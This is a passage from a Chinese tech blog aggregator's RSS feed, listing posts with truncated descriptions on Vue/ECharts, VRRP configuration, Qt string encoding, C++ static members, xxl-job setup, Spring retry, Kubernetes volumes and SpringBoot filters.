&#39;&#39;&#39;&amp;lt;class &#39;numpy.ndarray&#39;&amp;gt;&#39;&#39;&#39; print(type(bp[0][0])) &#39;&#39;&#39;&amp;lt;class &#39;numpy.float64&#39;&amp;gt;&#39;&#39;&#39; print(bp.dtype) &#39;&#39;&#39;float64&#39;&#39;&#39; 3个参数：&#xA;bp = np.random.rand(2, 3, 6) print(bp) &#39;&#39;&#39; [[[0.</description>
    </item>
    <item>
      <title>项目中echarts的罗盘</title>
      <link>https://bchobby.github.io/posts/15adeea5218c83344678654a637fe129/</link>
      <pubDate>Wed, 15 Mar 2023 14:48:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15adeea5218c83344678654a637fe129/</guid>
      <description>&amp;lt;script setup lang=&#39;ts&#39;&amp;gt; import { ref, watch, onMounted } from &#39;vue&#39;; import * as echarts from &#39;echarts&#39;; // 接收父组件传递的数据 let props: any = defineProps({ // Y轴的数据 value: { type: Number, default:0 }, ids:{ type:String, default:&#39;main39&#39; } }) // 初始化的数据 let myCharts: any = ref(&#39;&#39;) // 使用watch来处理异步的数据,点击的内容发生改变,拿到新的数据渲染页面 watch(() =&amp;gt; props, (val: any) =&amp;gt; { getOption(val) }, { deep: true, }) // 自定义方法获取echarts数据 let getOption = (objs: any) =&amp;gt; { let option = { series: [ { type: &#39;gauge&#39;, startAngle: 180, endAngle: 0, center: [&#39;50%&#39;, &#39;75%&#39;], radius: &#39;100%&#39;, //仪表盘大小 min: 0, max: 1, splitNumber: 8, //等份 axisLine: { //颜色样式 show: true, lineStyle: { width: 16, //线条大小 color: [ //等份的颜色 [ 1, new echarts.</description>
    </item>
    <item>
      <title>设置vscode保存时自动格式化代码</title>
      <link>https://bchobby.github.io/posts/e992491f07645d5d0fda077a13377105/</link>
      <pubDate>Wed, 15 Mar 2023 14:12:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e992491f07645d5d0fda077a13377105/</guid>
      <description> 1、作用 ctrl+s保存时自动对齐代码格式。&#xA;2、步骤 </description>
    </item>
    <item>
      <title>VRRP虚拟路由冗余协议</title>
      <link>https://bchobby.github.io/posts/2fa8897aad1857458113e79c212045ba/</link>
      <pubDate>Wed, 15 Mar 2023 10:42:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fa8897aad1857458113e79c212045ba/</guid>
      <description>一、VRRP简介&#xA;定义&#xA;虚拟路由冗余协议VRRP（Virtual Router Redundancy Protocol）通过把几台路由设备联合组成一台虚拟的路由设备，将虚拟路由设备的IP地址作为用户的默认网关实现与外部网络通信。当网关设备发生故障时，VRRP机制能够选举新的网关设备承担数据流量，从而保障网络的可靠通信。&#xA;目的&#xA;随着网络的快速普及和相关应用的日益深入，各种增值业务（如IPTV、视频会议等）已经开始广泛部署，基础网络的可靠性日益成为用户关注的焦点，能够保证网络传输不中断对于终端用户非常重要。&#xA;通常，同一网段内的所有主机上都设置一条相同的、以网关为下一跳的缺省路由。主机发往其他网段的报文将通过缺省路由发往网关，再由网关进行转发，从而实现主机与外部网络的通信。当网关发生故障时，本网段内所有以网关为缺省路由的主机将无法与外部网络通信。增加出口网关是提高系统可靠性的常见方法，此时如何在多个出口之间进行选路就成为需要解决的问题。&#xA;VRRP的出现很好的解决了这个问题。VRRP能够在不改变组网的情况下，将多台路由设备组成一个虚拟路由器，通过配置虚拟路由器的IP地址为默认网关，实现默认网关的备份。&#xA;优点&#xA;冗余备份&#xA;VRRP可以将多台路由设备配置为缺省网关路由器，当出现单点故障的时候通过备份链路进行业务传输，从而降低网络故障的可能性，保证用户的各种业务不中断传输。&#xA;负载分担&#xA;VRRP可以实现多台设备同时承担业务流量，从而减轻主用设备上数据流量的承载压力，在路由设备之间更均衡地分担流量。&#xA;联动功能&#xA;VRRP联动可以监视上行链路的故障。当上行接口或链路故障时，VRRP备份组的Master设备降低优先级，重新进行选举，确保Master路由器为最佳的VRRP路由设备，保证流量的正常转发。&#xA;VRRP与BFD联动可以提高VRRP备份组中主备设备的切换速度。利用BFD检测速度快的特点，在Master设备和Backup设备之间建立BFD会话并与VRRP备份组进行绑定，实现Master设备和Backup设备之间的链路出现故障时，Backup设备迅速切换为Master，承担网络流量。&#xA;二、VRRP术语&#xA;VRPP路由器&#xA;运行VRRP的路由器，一台VRRP路由器（的接口）可以同时参与到多个VRRP组中，在不同的组中，一台VRRP路由器可以充当不同的的角色&#xA;VRRP组&#xA;一个VRRP组由多个VRRP路由器组成，使用group ID进行标识，属于同一VRRP组的VRRP路由器互相交换信息，每一个VRRP组中只能有一个Master&#xA;虚拟路由器&#xA;对于每一个VRRP组，抽象出来的一个逻辑路由器，该路由器充当网络用户的网关，该路由器并非真实存在，事实上对于用户而言，只需知道虚拟路由器的IP，至于具体的虚拟路由器的角色由谁来承担、数据转发任务由谁来承担、Master挂掉之后谁来接替，这是VRRP的工作&#xA;虚拟IP地址、MAC地址：&#xA;虚拟IP地址用于表示虚拟路由器，该地址实际上就是用户的网关地址&#xA;与虚拟地址对应的MAC也是虚拟的，该MAC地址由固定位加上VRRP组ID构成，当PC发ARP请求虚拟IP地址对应的MAC地址，Master路由器响应这个ARP请求并告知虚拟MAC地址&#xA;Master、Backup路由器：&#xA;Master路由器：就是在VRRP组实际转发数据包的路由器，在每一个VRRP组中，仅有Master响应对应虚拟IP地址的ARP请求&#xA;Master路由器同时以一定的时间间隔发送VRRP消息，以便通知Backup路由器自己的存活&#xA;Backup路由器：就是在VRRP组中处于监听状态的路由器，一旦Master路由器出现故障，Backup路由器就开始接替工作&#xA;选举依据：先比较接口优先级，如果相等则比较接口IP地址（注：这里是比值大）&#xA;三、VRRP状态机&#xA;VRRP协议的状态共有三种,分别是Initalize , Master , Backup ,初始状态都是Initialize ,通过比较优先级产生Master和Backup ,在规定时间内, Backup若没有收到Master发来的心跳报文,将切换为Master.&#xA;协议对VRRP规定了3种状态：INITIALIZE，MASTER和BACKUP。简单地说，INITIALIZE即初始态，MASTER即主用状态，也就是在VRRP备份组中真正起作用的路由器BACKUP即备用状态，是MASTER的备份&#xA;四、华为eNSP仿真实验&#xA;1、拓扑图&#xA;拓扑图中，PC1及PC2都有两条路径访问Server1，一般情况下，PC1和PC2只能找自己的网关，通过确定的一条路由访问Server1，当路由发生故障时将无法访问。&#xA;通过对LSW2和LSW3配置VRRP，可以实现路由冗余备份，当路由发生故障时，可自动切换到备份路由，有效提高通信的可靠性。&#xA;2、实验详细配置&#xA;2.1、配置PC1和PC2IP地址：&#xA;PC1、PC2的网关为VRRP的virtual-ip（虚拟ip）&#xA;2.2、配置LSW1：&#xA;&amp;lt;Huawei&amp;gt;sys[Huawei]sys LSW1[LSW1]u in e[LSW1]vlan batch 1020[LSW1]q[LSW1]int E0/0/1[LSW1-Ethernet0/0/1]p l a[LSW1-Ethernet0/0/1]p d v 10[LSW1-Ethernet0/0/1]in e0/0/2[LSW1-Ethernet0/0/2]p l a[LSW1-Ethernet0/0/2]p d v 20[LSW1-Ethernet0/0/2]int g0/0/1[LSW1-GigabitEthernet0/0/1]p l t[LSW1-GigabitEthernet0/0/1]p t a v a[LSW1-GigabitEthernet0/0/1]int g0/0/2[LSW1-GigabitEthernet0/0/2]p l t[LSW1-GigabitEthernet0/0/2]p t a v a[LSW1-GigabitEthernet0/0/2]return&amp;lt;LSW1&amp;gt;save 2.</description>
    </item>
    <item>
      <title>QT 中 QString 中文转std::string 问题</title>
      <link>https://bchobby.github.io/posts/c3e758ab1bc5d891f7dc1fc6951e9f7a/</link>
      <pubDate>Wed, 15 Mar 2023 10:05:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3e758ab1bc5d891f7dc1fc6951e9f7a/</guid>
      <description>最后，本地调试Debug版本，发现安装中文路径下，安装路径为乱码，导致加载翻译文件、创建日志文件、加载动态库等等均失败。&#xA;对我而言，新发现新问题，先问度娘。尝试了很多解决方案，最终都以失败告终。&#xA;于无望处，突然柳暗花明，在一个帖子上看到这么一句话：&#xA;Qt中用于控制读出和写入文件系统时的字符编码由 QTextCodec::setCodecForLocale() 所决定。&#xA;加入 QTextCodec::setCodecForLocale(QTextCodec::codecForName(&#34;UTF-8&#34;)); 问题解决&#xA;当然，记得先添加头文件：#include &amp;lt;QTextCodec&amp;gt;&#xA;编译、启动、成功。再自测。&#xA;自测发现利用log4cpp模块创建日志文件时，需要利用std::string类型的参数。&#xA;但是，QSting类型直接利用toStdString()接口转换为std::string类型后，函数返回异常，没有成功创建日志文件。&#xA;再继续寻根问因，后来，发现需要进行一下中文转换：&#xA;QTextCodec::codecForName(&#34;gb18030&#34;)-&amp;gt;fromUnicode(logFileName).data()&#xA;如上，这样转换后是std::string类型参数传入函数，创建日志文件正常。&#xA;再编译、启动、运行一切正常。&#xA;特此备录。仅供参考。具体环境，具体分析。</description>
    </item>
    <item>
      <title>static关键字的作用</title>
      <link>https://bchobby.github.io/posts/61b8efbe1d79b11b2dd1b3459a8f21ed/</link>
      <pubDate>Wed, 15 Mar 2023 09:48:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61b8efbe1d79b11b2dd1b3459a8f21ed/</guid>
      <description>目录&#xA;C语言中static关键字的作用&#xA;1.static关键字修饰局部变量&#xA;2.static关键字修饰全局变量&#xA;3.static关键字修饰函数&#xA;在C++中static关键的作用&#xA;1.静态成员变量&#xA;2.静态成员函数&#xA;C语言中static关键字的作用 1.static关键字修饰局部变量 概念： static修饰局部变量就使之成为静态局部变量。&#xA;作用域： 静态局部变量的作用域并未发生变化，在其所在的局部范围，也就是其所定义的代码块内部。&#xA;生存期： 静态局部变量实际上是特殊的全局变量，它们位于相同的内存区域，内存分为栈区，堆区，静态存储区。静态局部变量和全局变量都位于静态存储区，因此静态局部变量的生存期与全局变量一样是全局的，随程序启动而生，随程序结束而消亡。&#xA;特点： 静态局部变量的初始化只会在第一次进入这个函数时进行初始化，当离开函数的时候，静态局部变量会继续存在并保持其值，以后进入函数时会保持上次离开时的值。&#xA;2.static关键字修饰全局变量 因为全局变量具有外部连接属性，外部任意一个源文件想要使用其他源文件中的全局变量，只需要先使用extern关键字进行声明，然后就可以使用，也就是说某个源文件的全局变量可以在整个项目中被任意的一个源文件使用，所以全局变量的作用域是整个工程。当一个全局变量被static所修饰的时候，它就称为了静态全局变量，静态全局变量具有内部连接属性，使得这个静态全局变量只能在自己所在的编译单元中被使用，而不能被其它编译单元所使用，否则会出现链接性错误。&#xA;static修饰变量时，如果变量没有被初始化会被自动初始化为0&#xA;3.static关键字修饰函数 函数也是具有外部连接属性的，编译器每次编译只处理一个编译单元，当某个编译单元需要使用其他编译单元中的函数，只需要声明该函数（或者包含该函数声明所在的头文件）然后就可以使用，当一个函数被static所修饰的时候，这个函数的外部连接属性就变成了内部连接属性，也就成为了静态函数，使得这个静态函数只能在自己所在的编译单元中被使用，而不能被其它编译单元所使用，否则会出现链接性错误。&#xA;通常我们在头文件中声明一个函数，然后在源文件中去定义该函数，在定义某函数时需要将某一段代码封装成为另一个函数以达到复用的目的，这段代码所封装成的函数只是为了定义那个函数所使用，不会在其它源文件中使用，所以将其声明为static。&#xA;在C++中static关键字的作用 static关键字修饰类中成员使之成为静态成员，静态成员的特点如下：&#xA;静态成员也是类的成员，受public、protected、private 访问限定符的限制。静态成员为所有类对象所共享，不属于某个具体对象，它是属于类的，只有一份内存，类静态成员可用类名::静态成员或者对象.静态成员来访问。类名访问，肯定是从类外访问，那么类外访问的话，就要求静态成员是公有属性，可以用类名访问这一点也说明：静态成员变量肯定不是属于对象的，如果是属于对象，那么就不能用类名访问了。 静态成员包括静态成员变量和静态成员函数，static关键字修饰成员变量使之成为静态成员变量，static关键字修饰成员函数使之成为静态成员函数。&#xA;1.静态成员变量 特性：&#xA;在对象的构造函数中不能对静态成员变量进行初始化，因为静态成员变量不属于单个对象，不需要对象去初始化。静态成员变量在类中加static声明，在类外进行初始化定义，初始化定义时不添加static关键字。若未对静态成员变量进行初始化操作，编译器会自动将其初始化为0。静态成员变量只能初始化，不能赋值静态成员变量可以实现多个对象之间的数据共享，它是类的所有对象的共享成员，它在内存中只占一份空间，如果改变它的值，则各对象中这个数据成员的值都被改变。静态成员变量存储在静态存储区，和静态局部变量和全局变量一样，它的生存期是全局的，是在程序开始运行时被分配空间，到程序结束之后才释放，只要类中指定了静态成员变量，即使不定义对象，也会为静态成员变量分配空间。 如图，如果在类中进行初始化定义，编译器就会报错&#xA;改成如下，类中声明，类外定义就没有问题了&#xA;如果给静态成员变量赋值，编译器就会报错&#xA;2.静态成员函数 定义方式：&#xA;类中声明，类外定义类中定义 class ClassName { public: static Type fun(){}//在类中定义 static Type fun2();//类中声明 }; Type ClassName::fun2(){}//在类外定义 在类外定义的时候不需要再加上static&#xA;特性：&#xA;静态成员函数没有隐藏的this指针，不能访问任何非静态成员。&#xA;没有隐藏的this指针是因为可以通过类名直接去访问函数，那么过程中间不存在对象，this指针就没有对象去指向了，为了避免这种情况的发生，索性就静态函数中就不要this指针了，如果通过对象去调用静态成员函数，虽然可以正确调到，但是this指针也没了。&#xA;不能访问任何非静态成员。原因之一是因为不存在this指针，因此你无法在静态成员函数中通过.操作符和-&amp;gt;操作符来访问属于某个具体对象的非静态成员。静态成员函数只能访问静态成员。普通成员函数可以访问普通成员，也可以访问静态成员。</description>
    </item>
    <item>
      <title>能看懂得Xxl-job安装教程</title>
      <link>https://bchobby.github.io/posts/260196aef05dcf26861701c1176ec54e/</link>
      <pubDate>Wed, 15 Mar 2023 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/260196aef05dcf26861701c1176ec54e/</guid>
      <description>大家好，我是咔咔 不期速成，日拱一卒&#xA;一、背景 在平时的业务场景中，经常有一些场景需要使用定时任务，比如：&#xA;某个时间点发送优惠券发送短信等等。批量处理数据：批量统计上个月的账单，统计上个月销售数据等等。固定频率的场景：每隔5分钟需要执行一次。 所以定时任务在平时开发中并不少见，而且对于现在快速消费的时代，每天都需要发送各种推送，消息都需要依赖定时任务去完成，应用非常广泛。&#xA;xxl-job主要分为调度中心和执行器，简单来讲，调度中心就是后台管理，执行器就是执行定时任务的，就这么理解就行。&#xA;二、所需工具 使用xxl-job需要先配置好maven、java环境，接下来先把所需要的工具都下载到本地&#xA;下载xxl-job源码&#xA;https://github.com/xuxueli/xxl-job.git 咔咔使用的编辑器是Intellij IDEA，可以下载社区版&#xA;下载maven&#xA;下载java并安装，下载地址&#xA;https://www.oracle.com/java/technologies/downloads/#java8-windows 三、配置maven 咔咔将下载的maven放到了D盘&#xA;修改\apache-maven-3.9.0\conf\settings.xml文件&#xA;把本来的配置修改为圈的内容&#xA;&amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;aliyunmaven&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;*&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;阿里云公共仓库&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://maven.aliyun.com/repository/public&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; 复制C:\Users\Administrator\.m2到maven中&#xA;配置环境变量&#xA;四、配置java环境 这里没有修改java的安装目录，直接默认安装位置到C:\Program Files\Java&#xA;环境变量都需要配置JAVA_HOME、CLASSPATH、path&#xA;JAVA_HOME：C:\Program Files\Java\jdk-18.0.2CLASSPATH：.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jarpath：%JAVA_HOME%\bin、%JAVA_HOME%\jre\bin 五、验证配置是否成功 执行以下命令看是否配置成功&#xA;java -verison javac -version mvn -version 六、初始化MySQL表 # 调度数据库初始化SQL脚本位置：/xxl-job/doc/db/tables_xxl_job.sql cd xxl-job/doc/db # 登录mysql mysql -uroot -p # 执行mysql初始化脚本 source ./tables_xxl_job.sql 或者 source 绝对路径/tables_xxl_job.sql # 切换数据库 use xxl_job; # 查看表是否创建完毕 show tables; 看到xxl_job就表示数据库已经导进去了&#xA;七、部署调度中心 打开编辑器后需要先把maven的目录修改为咱们自己下载的</description>
    </item>
    <item>
      <title>Spring优雅重试@EnableRetry</title>
      <link>https://bchobby.github.io/posts/156c4ce04f7291089e83a26b166e4d76/</link>
      <pubDate>Wed, 15 Mar 2023 02:03:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/156c4ce04f7291089e83a26b166e4d76/</guid>
      <description>如果不用spring的写法&#xA;// 简单递归+次数限制+线程睡眠&#xA;package com.example.springexample.springretry; /** * @desc: RetryDemo * @author: pmdream * @date: 2023/3/15 1:51 AM */ public class RetryDemo { public static void retry(int i) { if (i &amp;lt;= 3) { i++; try { if (method()) { System.out.println(&#34;成功&#34;); } else { Thread.sleep(1000); System.out.println(&#34;重试：&#34; + i + &#34;次&#34;); retry(i); } } catch (Exception e) { e.printStackTrace(); } } } private static boolean method() { System.out.println(&#34;do some thing&#34;); return false; } public static void main(String[] args) { retry(0); } } 结果：</description>
    </item>
    <item>
      <title>23种设计模式-访问者模式（Android应用场景介绍）</title>
      <link>https://bchobby.github.io/posts/b1e875e8028f3786b07e26dd264ac5cf/</link>
      <pubDate>Tue, 14 Mar 2023 21:38:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1e875e8028f3786b07e26dd264ac5cf/</guid>
      <description>什么是访问者模式？&#xA;访问者模式是一种行为型设计模式，其目的是在不改变现有类结构的前提下，增加新的操作或算法。&#xA;在这种模式中，我们通过定义访问者类（Visitor）和被访问的元素类（Element）来实现操作的分离。被访问的元素类提供接受访问者访问的方法，而访问者类则定义了对元素的不同操作。在执行操作时，访问者会将自己传入元素类的接受访问者方法中，从而实现对元素的访问和操作。&#xA;访问者模式Java示例&#xA;下面我们使用Java语言来实现访问者模式。我们将实现一个动物园的例子，其中包含了不同类型的动物，如狮子、老虎和猴子等，我们将实现对它们的不同操作，如观察、喂食和清理等。&#xA;首先，我们需要定义动物类的接口（Element）：&#xA;public interface Animal { void accept(Visitor visitor); } 在这个接口中，我们定义了一个接受访问者访问的方法 accept()。&#xA;接下来，我们定义了访问者类（Visitor）：&#xA;public interface Visitor { void visit(Lion lion); void visit(Tiger tiger); void visit(Monkey monkey); } 在这个接口中，我们定义了不同类型的动物的访问方法，如 visit(Lion lion)、visit(Tiger tiger) 和 visit(Monkey monkey)。&#xA;现在，我们需要实现不同类型的动物类，并在它们的 accept() 方法中调用访问者的 visit() 方法：&#xA;public class Lion implements Animal { public void roar() { System.out.println(&#34;Lion is roaring&#34;); } @Override public void accept(Visitor visitor) { visitor.visit(this); } } public class Tiger implements Animal { public void growl() { System.</description>
    </item>
    <item>
      <title>Vue3&#43;Vite&#43;AntDesign&#43;Axios&#43;Unocss 太爽了，直接上手和后端对接-适合白嫖</title>
      <link>https://bchobby.github.io/posts/64908e8fd74ede22c8a8e2c2d50affd9/</link>
      <pubDate>Tue, 14 Mar 2023 20:51:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64908e8fd74ede22c8a8e2c2d50affd9/</guid>
      <description>发现新大陆，大厂前端架构师搭建的后台管理框架，使用都是热门的前端技术栈；只会后端的我直接拿来入手练习项目，与后端接口对接分分钟完成。 所用技术栈： vue3&#xA;ant-design-vue&#xA;unocss&#xA;axios&#xA;echarts&#xA;pinia&#xA;unplugin-vue-jsx&#xA;vue-router&#xA;typescript&#xA;unplugin-auto-import&#xA;unplugin-vue-components&#xA;效果图： 关于每个技术点的优势总结： 以下观点纯属个人对此框架的使用过程中的理解；&#xA;vue3 vue3的setup语法糖和组合式api的使用；其中主要是ref函数 和 reactive函数 的使用，对象的定义不再需要像vue2之前的写法，可以将变量像js的原生写法一样，统一定义在最顶部，方便查看和管理；总体来说vue3的写法，让开发人员可以比较个性化的编写自己的代码规则；&#xA;Unocss 页面CSS简化利器，传统的css编写都需要在Style标签内定好，使用Unocss可以在组件上直接定义，且兼容效果也很好；嘿嘿，前提还好需要有css基础的人使用起来才可以得心应手！&#xA;看以下代码达到的是同样效果；&#xA;原生CSS格式：&#xA;.demo{ margin: 1px width: 1px height: 1px } &amp;lt;div class=&#34;demo&#34;&amp;gt; &amp;lt;/div&amp;gt; CSS框架：&#xA;&amp;lt;div m-1px w-1px h-1px&amp;gt; &amp;lt;/div&amp;gt; Unocss框架的编写格式首次接触肯定会不适应，这里还提供了一个格式写法工具可以学习：&#xA;https://uno.antfu.me/&#xA;只需要输入css的相关属性，系统会自动提示编写格式&#xA;资料参考文献：https://zhuanlan.zhihu.com/p/425814828?utm_medium=social&amp;amp;utm_oi=31225867665408&#xA;Axios 框架内做了二次封装，灵活的支持多种请求方式（POST/GET/DELETE/PUT等），且做了token认证授权，登录拦截；且还有每种请求方式的调用示例，这就很方便了。&#xA;Pinia Vue新一代状态管理插件Pinia，这比vue的Store是方便和直观多了。使用它之后，以后就不用Store的写法了。&#xA;优点：&#xA;使用直观，编写store更加容易&#xA;完整的 TypeScript 支持&#xA;Pinia的体积极小，包体积仅为约1kb&#xA;抛弃了Vuex中的Mutation，使用action支持同步和异步&#xA;官方地址：https://pinia.web3doc.top/&#xA;unplugin-auto-import 和 unplugin-vue-components 两个都是提高开发效率的插件，自动引入插件/组件；当你编写一个组件之后，vue写法是在你需要使用的页面都要使用import 进行手动导入；而配置以上两个插件之后，你只需要告诉他哪个文件夹需要进行自动导入组件，之后在需要使用的页面，直接写文件名即可引入组件；&#xA;自动导入组件主要配置；vite.config.ts&#xA;import { fileURLToPath, URL } from &#39;node:url&#39;; import { defineConfig } from &#39;vite&#39;; import vue from &#39;@vitejs/plugin-vue&#39;; import Unocss from &#39;unocss/vite&#39;; import AutoImport from &#39;unplugin-auto-import/vite&#39;; import Components from &#39;unplugin-vue-components/vite&#39;; import { AntDesignVueResolver } from &#39;unplugin-vue-components/resolvers&#39;; import PxToRem from &#39;.</description>
    </item>
    <item>
      <title>软考高级-系统分析师-案例分析-系统规划</title>
      <link>https://bchobby.github.io/posts/7dfc90f92e858a28615d5d43e16706ed/</link>
      <pubDate>Tue, 14 Mar 2023 19:58:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dfc90f92e858a28615d5d43e16706ed/</guid>
      <description>系分-案例分析-系统规划 软件可行性分析成本效益分析 - 盈亏临界分析成本效益分析 - 净现值分析现值净现值净现值率 成本效益分析 - 投资回收期案例 - 系统规划 - 典型例题1案例 - 系统规划 - 典型例题2 软件可行性分析 软件系统可行性分析包括哪几个方面？用 200 以内文字说明其含义。&#xA;经济可行性：主要评估项目的建设成本、运行成本和项目建成后可能的经济收益。技术可行性：主要评估信息系统需要实现的功能和性能，以及技术能力约束。法律可行性：需要从政策、法律、道德、制度等社会因素来论证信息系统建设的现实性。用户使用可行性：从信息系统用户的角度来评估系统的可行性，包括企业的行政管理和工作制度、使用人员的素质和培训要求等。 成本效益分析 - 盈亏临界分析 销售额 = 固定成本 + 可变成本 + 税费 + 利润 （正常情况下）销售额 = 固定成本 + 可变成本 + 税费 （盈亏平衡时） 例子：某公司去年卖了25000台电脑，每台售价2500，固定成本250万，可变成本4000万，税率16%。请计算卖多少台开始盈利&#xA;根据上面的公式可知：25002.5【销售额】 = 250 + 4000 + （25002.5）*16% + 利润&#xA;盈亏平衡时：&#xA;固定成本：250万可变成本：（4000 / 25002.5） 销售额 = 0.64销售额 （可变成本是随着销售量的变化而变化的）税费：0.16销售额 设 盈亏平衡时销售额为x万元&#xA;x = 250 + 0.64x + 0.16x</description>
    </item>
    <item>
      <title>k8s中Namespace，pod区别</title>
      <link>https://bchobby.github.io/posts/964709f86e456e184bc79ee863fbc4d3/</link>
      <pubDate>Tue, 14 Mar 2023 19:43:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/964709f86e456e184bc79ee863fbc4d3/</guid>
      <description>可参考：&#xA;kubernetes之Namespace，pod简述</description>
    </item>
    <item>
      <title>k8s使用hostpath卷持久化数据</title>
      <link>https://bchobby.github.io/posts/78a3dd294529f1ea0840390f238f22c8/</link>
      <pubDate>Tue, 14 Mar 2023 19:42:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78a3dd294529f1ea0840390f238f22c8/</guid>
      <description>为什么需要数据卷？&#xA;容器中的文件在磁盘上是临时存放的，这给容器中运行比较重要的应用程序带来一些问题。 • 问题1：当容器升级或者崩溃时，kubelet会重建容器，容器内文件会丢失&#xA;• 问题2：一个Pod中运行多个容器需要共享文件 Kubernetes 卷（Volume） 这一抽象概念能够解决这两个问题。&#xA;hostPath卷：挂载Node文件系统（Pod所在节点）上文件或者目 录到Pod中的容器。&#xA;应用场景：Pod中容器需要访问宿主机文件&#xA;在yaml文件中：&#xA;apiVersion: apps/v1 kind: Deployment metadata: name: htf-unify-data-service namespace: prod labels: app: htf-unify-data-service annotations: deployment.kubernetes.io/revision: &#34;1&#34; spec: selector: matchLabels: app: htf-unify-data-service replicas: 2 strategy: type: RollingUpdate rollingUpdate: maxUnavailable: 0 maxSurge: 1 template: metadata: labels: app: htf-unify-data-service spec: nodeSelector: type: network containers: - name: htf-unify-data-service image: k8s-registry.qhtx.local/haitong/htf-unify-data-service-0.0.6-snapshot:7574 imagePullPolicy: Always resources: requests: cpu: 200m memory: 1000Mi limits: cpu: 8000m memory: 10000Mi ports: - name: http containerPort: 8080 protocol: TCP env: - name: LANG value: en_US.</description>
    </item>
    <item>
      <title>SpringBoot——使用Filter过滤器</title>
      <link>https://bchobby.github.io/posts/9ad981d86365568086663646f2dfb27a/</link>
      <pubDate>Tue, 14 Mar 2023 17:41:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ad981d86365568086663646f2dfb27a/</guid>
      <description>过滤器Filter可以在controller处理逻辑之前和之后加入一些其他逻辑，可以在controller之前进行验证和信息处理，或者在controller之后进行统计记录。过滤器可以设置过滤路径，多个过滤器也可以指定过滤顺序；&#xA;过滤器可以实现一个接口类javax.servlet.Filter:&#xA;实现接口中的三个方法：&#xA;init：过滤器初始化操作，springboot启动的时候调用；doFilter：过滤处理逻辑；destroy：过滤器销毁操作，项目结束停止的时候调用； 注：doFilter方法里有个FilterChain参数，在过滤逻辑里需要手动调用chain.doFilter(request, response)才会往下处理其他过滤器和controller；&#xA;可以使用三种方法配置过滤器：&#xA;1.使用@Component过滤所有url地址 只需要实现Filter接口，实现接口里必要的doFilter方法（init和destroy方法是接口里的默认方法），实现类使用@Component修饰就可以了；&#xA;启动类，使用的默认配置，端口8080，本机ip是192.168.1.30：&#xA;/** * 2023年3月10日下午3:51:13 */ package testspringboot.test8filter; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; /** * @author XWF * */ @SpringBootApplication public class Test8Main { /** * @param args */ public static void main(String[] args) { SpringApplication.run(Test8Main.class, args); } } controller类：&#xA;/** * 2023年3月10日下午4:05:24 */ package testspringboot.test8filter; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** * @author XWF * */ @RestController @RequestMapping(&#34;/filter&#34;) public class MyController { @RequestMapping(&#34;</description>
    </item>
    <item>
      <title>使用模拟器出现系统开启Hyper-v导致不能运行，Win10如何禁用 Hyper-V</title>
      <link>https://bchobby.github.io/posts/13a4b0d48f1b398d53fd9ffc43b4580a/</link>
      <pubDate>Tue, 14 Mar 2023 17:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13a4b0d48f1b398d53fd9ffc43b4580a/</guid>
      <description>https://bbs.xyaz.cn/forum.php?mod=viewthread&amp;amp;tid=384770</description>
    </item>
    <item>
      <title>爱了！阿里技术官亲笔的 Java 快速面试指南，熬夜啃完剑指大厂</title>
      <link>https://bchobby.github.io/posts/80ce5af08e4bd4fc801ee48fc7e9f3a6/</link>
      <pubDate>Tue, 14 Mar 2023 17:04:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80ce5af08e4bd4fc801ee48fc7e9f3a6/</guid>
      <description>今年互联网行业的行情不是很好，危机面前，持续的提高自己才是王道，提前准备下面试，有备无患。这里准备了一份 Java 后端面试指南，初衷也很简单，就是希望在面试的时候能够帮助到大家，减轻大家的负担和节省时间，帮助有需要的朋友收获高薪 offer。&#xA;Java-review-Gudie 【Java 快速面试指南目录】Java 基础、异常、集合、并发编程、JVM、Spring 全家桶、MyBatis、Redis、数据库、中间件 MQ、Dubbo、Linux、Tomcat、ZooKeeper、Netty 等等。包含了作为一个 Java 工程师在面试中需要用到或者可能用到的绝大部分知识！&#xA;Java 基础&#xA;Java 集合容器&#xA;Java 异常&#xA;Error 和 Exception 区别是什么?&#xA;运行时异常和—般异常(受检异常)区别是什么?&#xA;JVM 是如何处理异常的?&#xA;throw 和 throws 的区别是什么?&#xA;final、finally、finalize 有什么区别?&#xA;NoClassDefFoundError 和 ClassNotFoundException 区别?&#xA;try-catch-finally 中哪个部分可以省略?&#xA;try-catch-finally 中，如果 catch 中 return 了,finally 还会执行吗?&#xA;...&#xA;并发编程&#xA;并发基础&#xA;并发理论&#xA;并发关键字&#xA;并发容器&#xA;线程池&#xA;JVM&#xA;JVM 内存区域&#xA;内存溢出异常&#xA;垃圾收集器&#xA;内存分配策略&#xA;类加载机制&#xA;JVM 调优&#xA;Spring&#xA;spring 概述&#xA;Spring 控制反转（IOC）&#xA;SpringBean&#xA;Spring 注解</description>
    </item>
    <item>
      <title>Jmete多组件组合实战应用</title>
      <link>https://bchobby.github.io/posts/904ebcfa0c27a1940e5bd46bcbe2e750/</link>
      <pubDate>Tue, 14 Mar 2023 14:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/904ebcfa0c27a1940e5bd46bcbe2e750/</guid>
